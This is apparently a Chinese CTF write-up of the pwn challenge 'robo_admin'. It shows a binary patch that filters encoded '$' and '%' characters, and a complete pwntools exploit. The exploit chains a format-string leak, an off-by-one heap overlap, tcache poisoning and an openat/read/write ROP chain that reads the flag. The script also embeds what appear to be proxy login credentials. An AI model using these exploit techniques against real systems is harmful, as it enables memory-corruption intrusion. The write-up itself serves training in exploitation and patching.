0x00 前言 人生中第一次去湘潭, 虽然这个比赛很…另一题是内核, 看不懂…
0x01 题解 robo_admin
机器人管理系统。(连接代理后访问 192.0.100.2 9999,请提交 dart{}中的内容, 附件包含题目附件和 fix. Tar 模板,请在 Fix 环节上传 fix. Tar 进行修复,注意压缩包是 tar 格式,并且 fix. Tar 不要带目录压缩。公告输入会经过解码,评测也会用编码后的格式符进行测试。请同时检查 set_notice () 与 show_status () 两处逻辑;若拦截了解码后的危险字符,错误输出中应包含 “[X] decoded input contains illegal chars”。)
沙箱 & patch的小坑 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff ) goto 0009 0005: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0009 0006: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0009 0007: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0009: 0x06 0x00 0x00 0x00000000 return KILL
ban 了 open 能用 openat 代替, execve 和 execveat orw 读 flag 就行 patch的时候有点小坑, 我是 wsl2 的 ubunutu 22.04, patch 的时候用
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath ./ ./robo_admin
会导致 bins, heap 等命令没法用, 换成绝对路径就行了
简单分析下逻辑 程序可以分两大部分, 先是这个类似登入处理的, case 1 是一个往 dest 中输入内容的功能 过滤了 % 和 $, 中间的 sub_1528 实现的是一个把 \x 为前缀的字符串转换成字符的功能, 例如把 \x61 转换成 a. 但这里没有对 % 和 $ 做检测, 所以在 attack 的时候可以利用这点
Fix 由题目描述, 应该是需要在这里加一些功能, 去过滤掉 \x24 ($) 和 \x25 (%) 这一句就是赋值语句, gdb 看一眼 所以这里 patch 一下, 对 dl 寄存器做个 cmp 就行了
from AwdPwnPatcher import *binary = "./robo_admin" awd_pwn_patcher = AwdPwnPatcher(binary) illegal_addr = awd_pwn_patcher.add_constant_in_ehframe("[X] decoded input contains illegalchars\x00" ) assembly = """ cmp dl, 0x24 je failed cmp dl, 0x25 je failed mov [rax], dl failed: lea rdi, qword ptr [{0}] call 0x0000000000011D0 jmp 0x15e3 """ .format (hex (illegal_addr))awd_pwn_patcher.patch_by_jmp(0x000000000000160E , jmp_to=0x0000000000001610 , assembly=assembly) awd_pwn_patcher.save()
自己写了一个比较简陋的, 因为比赛中是 Itsflicker fix 的, 这个我也不知道能不能过 check, 大致效果如下, 应该是可以的吧 (心虚)
Attack 利用 case 1 设置 dest 后, 来到 case 2 会有一次格式化字符串的机会, 这里可以用来泄露 libc, pie 等需要的东西, 以及 case 3 登入需要的 token. 在函数开头这里, 把 token 读到栈上了 刚好也是在栈顶啊 登入 admin 之后是一个菜单堆 申请堆块逻辑如下 没什么问题, edit 处有 off by one 无 uaf 构造这样的堆块结构
malloc(0 ,0xf8 ) malloc(1 ,0xf8 ) malloc(2 ,0xf8 ) malloc(3 ,0xf8 ) malloc(4 ,0x100 ) malloc(5 ,0x200 ) malloc(6 ,0xf8 )
Edit 堆块 0 ,利用 off by one 覆盖掉堆块 1 的大小, free 掉之后再申请回来
edit(0 , b'A' *0xf8 + p8(0x11 )) free(1 ) malloc(1 , 0x108 )
此时堆块 1 和堆块 2 部分重叠, 相当于一个堆溢出, 利用这个修改堆块 2 的 size, 覆盖为 unsorted bin 大小, 方便后续构造出堆块重叠, 顺便恢复堆块 1 的 size
edit(1 , b'B' *0xf8 + p64(0x521 )) edit(0 , b'A' *0xf8 + p8(0x01 ))
free 掉这个 unsorted bin , 然后就可以去割这个 unsorted bin 了
free(2 ) malloc(2 , 0xf8 ) malloc(7 , 0xf8 )
效果大致是这样的 此时 free 掉 3, 就能通过打印 7 来获取 heap 加密的 key, 反过来 free 7 打印 3 也可以, 然后就是利用这里或者前面的堆溢出去 tcache poisoning , 把堆申请到栈上, 栈地址可以在前面的格式化字符串泄露
free(7 ) show() ru(b'[3] name=aaaa used=0 cap=248 desc=' ) heap = uu64(r(5 )) << 12 leak('heap' ) free(2 ) ret_addr = stack_addr - 0x30 edit(1 , b'B' *0xf8 + p64(0x101 ) + p64((heap >> 12 ) ^ ret_addr)) malloc(7 , 0xf8 ) malloc(2 , 0xf8 )
效果如下 这个栈地址刚好是菜单堆中选项6的返回地址-8, 因为 glibc 2.35 malloc的地址必须是16字节对齐的, 最后写入orw即可
from pwn import *from ctypes import *context(arch='amd64' , log_level = 'debug' ,os = 'linux' ) file='./robo_admin' elf=ELF(file) libc = ELF('./libc.so.6' ) choice = 0x001 if choice: context.proxy = (socks.SOCKS5, '4.dart.ccsssc.com' , 26470 , True , 'hllj78qu' , 'b2hgrb8e' ) port = 9999 target = '192.0.100.2' p = remote(target,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,gdbscript=cmd) def malloc (idx,size ): sa('> ' ,'1' ) sa('Index:' ,str (idx)) sa('Task name:' ,'aaaa' ) sa('Desc size:' ,str (size)) pass def edit (index,content ): sa('> ' ,'2' ) sa('Index:' ,str (index)) sa('Write length :' ,str (len (content))) sa('New desc bytes:' ,content) pass def free (index ): sa('> ' ,'5' ) sa('Index:' ,str (index)) pass def show (): sa('> ' ,'4' ) pass commend = ''' brva 0x0000000000001A4A brva 0x000000000000258E brva 0x0000000000002636 ''' sa('> ' ,b'1' ) s('\\x256\\x24p\\x257\\x24p\\x2523\\x24p\\x2514\\x24p' ) sa('> ' ,b'2' ) ru('Notice: ' ) ru('0x' ) token = r(16 ) ru('0x' ) token2 = r(16 ) print (token + token2)ru('0x' ) libc_base = int (r(12 ), 16 ) - 0x29d90 leak('libc_base' ) libc.address = libc_base ru('0x' ) stack_addr = int (r(12 ), 16 ) leak('stack_addr' ) sa('> ' ,b'3' ) sa('Token:' ,"ROBOADMIN" ) sa('Password (32 hex):' ,token+token2) malloc(0 ,0xf8 ) malloc(1 ,0xf8 ) malloc(2 ,0xf8 ) malloc(3 ,0xf8 ) malloc(4 ,0x100 ) malloc(5 ,0x200 ) malloc(6 ,0xf8 ) debug(commend) edit(0 , b'A' *0xf8 + p8(0x11 )) free(1 ) malloc(1 , 0x108 ) edit(1 , b'B' *0xf8 + p64(0x521 )) edit(0 , b'A' *0xf8 + p8(0x01 )) free(2 ) malloc(2 , 0xf8 ) malloc(7 , 0xf8 ) free(7 ) show() ru(b'[3] name=aaaa used=0 cap=248 desc=' ) heap = uu64(r(5 )) << 12 leak('heap' ) free(2 ) ret_addr = stack_addr - 0x30 edit(1 , b'B' *0xf8 + p64(0x101 ) + p64((heap >> 12 ) ^ ret_addr)) malloc(7 , 0xf8 ) malloc(2 , 0xf8 ) rdi = libc.address + 0x2a3e5 rsi = libc.address + 0x02be51 rdx = libc.address + 0x11f367 orw = b'a' *8 orw += flat( rdi, -1 , rsi , ret_addr + 0xc8 , rdx , 0 , 0 ,libc.sym['openat' ], rdi, 3 , rsi , ret_addr + 0xd0 , rdx , 0x50 , 0x50 , libc.sym['read' ], rdi, 1 , rsi , ret_addr + 0xd0 , rdx , 0x50 , 0x50 , libc.sym['write' ], ) orw += b'/flag\x00' edit(2 ,orw) sa('> ' ,'6' ) itr()